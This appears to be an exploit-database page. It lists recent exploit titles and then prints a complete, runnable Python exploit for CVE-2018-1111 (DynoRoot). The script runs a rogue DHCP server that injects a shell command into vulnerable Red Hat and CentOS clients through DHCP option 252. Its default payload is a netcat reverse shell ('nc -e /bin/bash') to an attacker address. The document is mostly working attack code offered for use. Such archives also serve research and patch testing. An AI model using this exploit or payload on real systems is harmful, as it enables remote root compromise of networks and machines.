
12 changes to exploits/shellcodes Microsoft Edge - 'Array.filter' Info Leak Microsoft Edge - 'Array.filter' Information Leak Microsoft Edge Chakra JIT - Bound Check Elimination Bug Windows - Local Privilege Escalation Windows WMI - Recieve Notification Exploit (Metasploit) Microsoft Windows - Local Privilege Escalation Microsoft Windows WMI - Recieve Notification Exploit (Metasploit) Microsoft Xbox One 10.0.14393.2152 - Code Execution (PoC) Prime95 29.4b8 - Stack Buffer Overflow (SEH) DynoRoot DHCP - Client Command Injection Linux 4.8.0 < 4.8.0-46 - AF_PACKET packet_set_ring Privilege Escalation (Metasploit) Microsoft Edge (Windows 10) - 'chakra.dll' Info Leak / Type Confusion Remote Code Execution Microsoft Edge (Windows 10) - 'chakra.dll' Information Leak / Type Confusion Remote Code Execution Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010) Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010) HPE iMC 7.3 - Remote Code Execution (Metasploit) Healwire Online Pharmacy 3.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery Monstra CMS before 3.0.4 - Cross-Site Scripting SAP NetWeaver Web Dynpro 6.4 < 7.5 - Information Disclosure Infinity Market Classified Ads Script 1.6.2 - Cross-Site Request Forgery Cisco SA520W Security Appliance - Path Traversal SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion
65 lines
No EOL
3 KiB
Python
Executable file
65 lines
No EOL
3 KiB
Python
Executable file
# Exploit Title: DynoRoot DHCP - Client Command Injection
|
|
# Date: 2018-05-18
|
|
# Exploit Author: Kevin Kirsche
|
|
# Exploit Repository: https://github.com/kkirsche/CVE-2018-1111
|
|
# Exploit Discoverer: Felix Wilhelm
|
|
# Vendor Homepage: https://www.redhat.com/
|
|
# Version: RHEL 6.x / 7.x and CentOS 6.x/7.x
|
|
# Tested on: CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4
|
|
# CVE : CVE-2018-1111
|
|
|
|
#!/usr/bin/env python
|
|
|
|
from argparse import ArgumentParser
|
|
from scapy.all import BOOTP_am, DHCP
|
|
from scapy.base_classes import Net
|
|
|
|
|
|
class DynoRoot(BOOTP_am):
|
|
function_name = "dhcpd"
|
|
|
|
def make_reply(self, req):
|
|
resp = BOOTP_am.make_reply(self, req)
|
|
if DHCP in req:
|
|
dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))
|
|
for op in req[DHCP].options
|
|
if isinstance(op, tuple) and op[0] == "message-type"]
|
|
dhcp_options += [("server_id", self.gw),
|
|
("domain", self.domain),
|
|
("router", self.gw),
|
|
("name_server", self.gw),
|
|
("broadcast_address", self.broadcast),
|
|
("subnet_mask", self.netmask),
|
|
("renewal_time", self.renewal_time),
|
|
("lease_time", self.lease_time),
|
|
(252, "x'&{payload} #".format(payload=self.payload)),
|
|
"end"
|
|
]
|
|
resp /= DHCP(options=dhcp_options)
|
|
return resp
|
|
|
|
|
|
if __name__ == '__main__':
|
|
parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')
|
|
|
|
parser.add_argument('-i', '--interface', default='eth0', type=str,
|
|
dest='interface',
|
|
help='The interface to listen for DHCP requests on (default: eth0)')
|
|
parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,
|
|
dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')
|
|
parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,
|
|
dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')
|
|
parser.add_argument('-d', '--domain', default='victim.net', type=str,
|
|
dest='domain', help='Domain to assign (default: victim.net)')
|
|
parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,
|
|
dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')
|
|
|
|
args = parser.parse_args()
|
|
server = DynoRoot(iface=args.interface, domain=args.domain,
|
|
pool=Net(args.subnet),
|
|
network=args.subnet,
|
|
gw=args.gateway,
|
|
renewal_time=600, lease_time=3600)
|
|
server.payload = args.payload
|
|
|
|
server() |